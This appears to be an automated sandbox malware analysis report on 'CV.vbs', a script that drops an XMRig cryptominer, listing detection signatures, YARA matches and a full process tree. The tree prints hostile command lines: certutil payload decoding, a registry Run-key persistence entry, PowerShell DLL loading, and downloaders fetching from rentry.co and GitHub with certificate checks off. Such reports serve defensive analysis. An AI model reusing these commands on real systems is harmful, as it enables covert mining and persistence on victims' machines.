Edit tour

Windows Analysis Report
CV.vbs

Overview

General Information

Sample name:	CV.vbs
Analysis ID:	1487922
MD5:	b4953316f7584f9fa476ab0141b70fa6
SHA1:	90df20136882bf930ea283114f30c527ee8df881
SHA256:	2748bd43495bb029f45c0e4f1ebb735a195ebc2bf063ffcc02eb5b2c0feaaa51
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

VBScript performs obfuscated calls to suspicious functions

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

Creates autostart registry keys with suspicious values (likely registry only malware)

Detected Stratum mining protocol

Found Tor onion address

Found strings related to Crypto-Mining

Powershell drops PE file

Queries Google from non browser process on port 80

Query firmware table information (likely to detect VMs)

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Uses certutil -decode

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Yara detected Obfuscated Powershell

Abnormal high CPU Usage

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7488 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\CV.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

certutil.exe (PID: 7580 cmdline: "C:\Windows\System32\certutil.exe" -decode C:\Users\user\AppData\Local\Temp\Encode.txt C:\miner\DarkMiner.cab MD5: F17616EC0522FC5633151F7CAA278CAA)

conhost.exe (PID: 7588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

expand.exe (PID: 7636 cmdline: "C:\Windows\System32\expand.exe" C:\miner\DarkMiner.cab -F:* C:\miner\ MD5: 3080AD9250254478269B486EC15C25FF)

conhost.exe (PID: 7644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cscript.exe (PID: 7688 cmdline: "C:\Windows\System32\cscript.exe" C:\miner\mine_start.vbs MD5: 24590BF74BBBBFD7D7AC070F4E3C44FD)

conhost.exe (PID: 7696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7772 cmdline: "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7816 cmdline: reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

powershell.exe (PID: 7832 cmdline: Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX() MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 7952 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7968 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7FDD.tmp" "c:\Users\user\AppData\Local\Temp\CSC698B17CA485A4DF3BFC9C5C4DCCE15E7.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

wscript.exe (PID: 8032 cmdline: "C:\Windows\System32\WScript.exe" "C:\miner\mine_start.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8092 cmdline: "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 8136 cmdline: reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

powershell.exe (PID: 8156 cmdline: Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX() MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 7260 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\weizmren.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7280 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA854.tmp" "c:\Users\user\AppData\Local\Temp\CSC34AD3A053BD0482B8F57CF2F2153CA.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

PING.EXE (PID: 7496 cmdline: ping localhost -n 60 MD5: 2F46799D79D22AC72C241EC0322B011D)

powershell.exe (PID: 7612 cmdline: Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX() MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 6328 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ahbspsjl.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 6404 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB020.tmp" "c:\Users\user\AppData\Local\Temp\CSC591B9E4DE1824FC8AB2EAE3EE41D29C1.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

PING.EXE (PID: 7048 cmdline: ping localhost -n 60 MD5: 2F46799D79D22AC72C241EC0322B011D)

cmd.exe (PID: 3668 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

DLL814C.tmp (PID: 928 cmdline: C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H MD5: F2D3E44AFA5CBBBF41ECB3A87066CBF2)

cmd.exe (PID: 8032 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL46B0.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

DLL46B0.tmp (PID: 3196 cmdline: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: F2D3E44AFA5CBBBF41ECB3A87066CBF2)

cmd.exe (PID: 1748 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

DLLD6FB.tmp (PID: 2260 cmdline: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: F2D3E44AFA5CBBBF41ECB3A87066CBF2)

cmd.exe (PID: 3320 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL663C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

DLL663C.tmp (PID: 5548 cmdline: C:\Users\user\AppData\Local\Temp\DLL663C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: F2D3E44AFA5CBBBF41ECB3A87066CBF2)

cmd.exe (PID: 7268 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLF657.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

DLLF657.tmp (PID: 7180 cmdline: C:\Users\user\AppData\Local\Temp\DLLF657.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H MD5: F2D3E44AFA5CBBBF41ECB3A87066CBF2)

cmd.exe (PID: 8040 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL82AA.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

DLL82AA.tmp (PID: 7584 cmdline: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT MD5: F2D3E44AFA5CBBBF41ECB3A87066CBF2)

cmd.exe (PID: 6440 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL120A.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

DLL120A.tmp (PID: 6592 cmdline: C:\Users\user\AppData\Local\Temp\DLL120A.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: F2D3E44AFA5CBBBF41ECB3A87066CBF2)

cmd.exe (PID: 6952 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLAA54.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

DLLAA54.tmp (PID: 7000 cmdline: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: F2D3E44AFA5CBBBF41ECB3A87066CBF2)

cmd.exe (PID: 7964 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL39F2.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

DLL39F2.tmp (PID: 7296 cmdline: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: F2D3E44AFA5CBBBF41ECB3A87066CBF2)

cmd.exe (PID: 7176 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLD067.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

DLLD067.tmp (PID: 7252 cmdline: C:\Users\user\AppData\Local\Temp\DLLD067.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H MD5: F2D3E44AFA5CBBBF41ECB3A87066CBF2)

cmd.exe (PID: 1888 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL6063.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

DLL6063.tmp (PID: 3396 cmdline: C:\Users\user\AppData\Local\Temp\DLL6063.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT MD5: F2D3E44AFA5CBBBF41ECB3A87066CBF2)

cmd.exe (PID: 3912 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLF060.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

DLLF060.tmp (PID: 7188 cmdline: C:\Users\user\AppData\Local\Temp\DLLF060.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw MD5: F2D3E44AFA5CBBBF41ECB3A87066CBF2)

wscript.exe (PID: 7560 cmdline: "C:\Windows\System32\WScript.exe" "C:\miner\mine_start.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7632 cmdline: "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7652 cmdline: reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

powershell.exe (PID: 7708 cmdline: Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX() MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 7244 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmhmaghu.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 4916 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCBDA.tmp" "c:\Users\user\AppData\Local\Temp\CSC42213DD479FE494FA8153260D2C4A5B2.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

PING.EXE (PID: 8060 cmdline: ping localhost -n 60 MD5: 2F46799D79D22AC72C241EC0322B011D)

powershell.exe (PID: 7232 cmdline: Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX() MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 7968 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ck4l4tfe.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 8188 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESFCF8.tmp" "c:\Users\user\AppData\Local\Temp\CSC553B895C4F294EC7A377E88EC4917E34.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

PING.EXE (PID: 1244 cmdline: ping localhost -n 60 MD5: 2F46799D79D22AC72C241EC0322B011D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\f845a3d99b83e24d96851c4aac2db939.tmp	JoeSecurity_ObfuscatedPowershell	Yara detected Obfuscated Powershell	Joe Security
C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\f845a3d99b83e24d96851c4aac2db939.tmp	SUSP_PowerShell_Caret_Obfuscation_2	Detects powershell keyword obfuscated with carets	Florian Roth	0x2d4:$r1: P^o^we^r^s^h^e^l^l 0x2d4:$r2: P^o^we^r^s^h^e^l^l

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0xf9c1:$a1: mining.set_target 0x179a:$a2: XMRIG_HOSTNAME 0x42d8:$a3: Usage: xmrig [OPTIONS] 0x1774:$a4: XMRIG_VERSION
0000000A.00000002.3169590185.00000248EBAF0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x12a01:$a1: mining.set_target 0x47da:$a2: XMRIG_HOSTNAME 0x7318:$a3: Usage: xmrig [OPTIONS] 0x47b4:$a4: XMRIG_VERSION
0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.2958519401.0000000140C22000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.3169590185.00000248EBB09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.2959232520.0000000180ECC000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.2959232520.0000000180701000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.2959232520.0000000180701000.00000004.00001000.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x123c1:$a1: mining.set_target 0x419a:$a2: XMRIG_HOSTNAME 0x6cd8:$a3: Usage: xmrig [OPTIONS] 0x4174:$a4: XMRIG_VERSION
0000000A.00000002.3169590185.00000248EBB1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.2959232520.000000018002A000.00000004.00001000.00020000.00000000.sdmp	Linux_Trojan_Pornoasset_927f314f	unknown	unknown	0x139d58:$a: C3 D3 CB D3 C3 48 31 C3 48 0F AF F0 48 0F AF F0 48 0F AF F0 48
0000000A.00000002.3177023053.00000248ECF10000.00000004.00000020.00020000.00000000.sdmp	Linux_Trojan_Pornoasset_927f314f	unknown	unknown	0x162398:$a: C3 D3 CB D3 C3 48 31 C3 48 0F AF F0 48 0F AF F0 48 0F AF F0 48
0000000A.00000002.3177023053.00000248ED7B2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.2934615979.0000000140001000.00000020.00001000.00020000.00000000.sdmp	Linux_Trojan_Pornoasset_927f314f	unknown	unknown	0x139958:$a: C3 D3 CB D3 C3 48 31 C3 48 0F AF F0 48 0F AF F0 48 0F AF F0 48
Process Memory Space: powershell.exe PID: 7832	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: powershell.exe PID: 7832	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0xdeb2f:$a1: mining.set_target 0x1d51cf:$a1: mining.set_target 0xd934b:$a2: XMRIG_HOSTNAME 0x1cf9eb:$a2: XMRIG_HOSTNAME 0xdb713:$a3: Usage: xmrig [OPTIONS] 0x1d1db3:$a3: Usage: xmrig [OPTIONS] 0xd9325:$a4: XMRIG_VERSION 0x1cf9c5:$a4: XMRIG_VERSION
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.powershell.exe.180963810.4.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
10.2.powershell.exe.248ed871e50.9.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
10.2.powershell.exe.248ecf38640.8.raw.unpack	Linux_Trojan_Pornoasset_927f314f	unknown	unknown	0x139d58:$a: C3 D3 CB D3 C3 48 31 C3 48 0F AF F0 48 0F AF F0 48 0F AF F0 48
10.2.powershell.exe.18002a000.3.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
10.2.powershell.exe.18002a000.3.unpack	Linux_Trojan_Pornoasset_927f314f	unknown	unknown	0x139158:$a: C3 D3 CB D3 C3 48 31 C3 48 0F AF F0 48 0F AF F0 48 0F AF F0 48
10.2.powershell.exe.18002a000.3.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x6e7dc1:$a1: mining.set_target 0x6d9b9a:$a2: XMRIG_HOSTNAME 0x6dc6d8:$a3: Usage: xmrig [OPTIONS] 0x6d9b74:$a4: XMRIG_VERSION
10.2.powershell.exe.18002a000.3.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x731bfe:$x1: donate.ssl.xmrig.com 0x7320b9:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume 0x80137b:$s2: \\?\pipe\uv\%p-%lu
10.2.powershell.exe.18002a000.3.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x733108:$s1: %s/%s (Windows NT %lu.%lu 0x737870:$s3: \\.\WinRing0_ 0x6de812:$s4: pool_wallet 0x6d8f80:$s5: cryptonight 0x6d8f8e:$s5: cryptonight 0x6d8f9d:$s5: cryptonight 0x6d8fab:$s5: cryptonight 0x6d8fc0:$s5: cryptonight 0x6d8fcf:$s5: cryptonight 0x6d8fdd:$s5: cryptonight 0x6d8ff2:$s5: cryptonight 0x6d9001:$s5: cryptonight 0x6d9012:$s5: cryptonight 0x6d9029:$s5: cryptonight 0x6d9037:$s5: cryptonight 0x6d9045:$s5: cryptonight 0x6d9055:$s5: cryptonight 0x6d9067:$s5: cryptonight 0x6d9078:$s5: cryptonight 0x6d9088:$s5: cryptonight 0x6d9098:$s5: cryptonight
10.2.powershell.exe.248ecf38640.8.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
10.2.powershell.exe.248ecf38640.8.unpack	Linux_Trojan_Pornoasset_927f314f	unknown	unknown	0x139158:$a: C3 D3 CB D3 C3 48 31 C3 48 0F AF F0 48 0F AF F0 48 0F AF F0 48
10.2.powershell.exe.248ecf38640.8.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x6e7dc1:$a1: mining.set_target 0x6d9b9a:$a2: XMRIG_HOSTNAME 0x6dc6d8:$a3: Usage: xmrig [OPTIONS] 0x6d9b74:$a4: XMRIG_VERSION
10.2.powershell.exe.248ecf38640.8.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x731bfe:$x1: donate.ssl.xmrig.com 0x7320b9:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume 0x80137b:$s2: \\?\pipe\uv\%p-%lu
10.2.powershell.exe.248ecf38640.8.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x733108:$s1: %s/%s (Windows NT %lu.%lu 0x737870:$s3: \\.\WinRing0_ 0x6de812:$s4: pool_wallet 0x6d8f80:$s5: cryptonight 0x6d8f8e:$s5: cryptonight 0x6d8f9d:$s5: cryptonight 0x6d8fab:$s5: cryptonight 0x6d8fc0:$s5: cryptonight 0x6d8fcf:$s5: cryptonight 0x6d8fdd:$s5: cryptonight 0x6d8ff2:$s5: cryptonight 0x6d9001:$s5: cryptonight 0x6d9012:$s5: cryptonight 0x6d9029:$s5: cryptonight 0x6d9037:$s5: cryptonight 0x6d9045:$s5: cryptonight 0x6d9055:$s5: cryptonight 0x6d9067:$s5: cryptonight 0x6d9078:$s5: cryptonight 0x6d9088:$s5: cryptonight 0x6d9098:$s5: cryptonight
10.2.powershell.exe.18002a000.3.raw.unpack	Linux_Trojan_Pornoasset_927f314f	unknown	unknown	0x139d58:$a: C3 D3 CB D3 C3 48 31 C3 48 0F AF F0 48 0F AF F0 48 0F AF F0 48
Click to see the 9 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

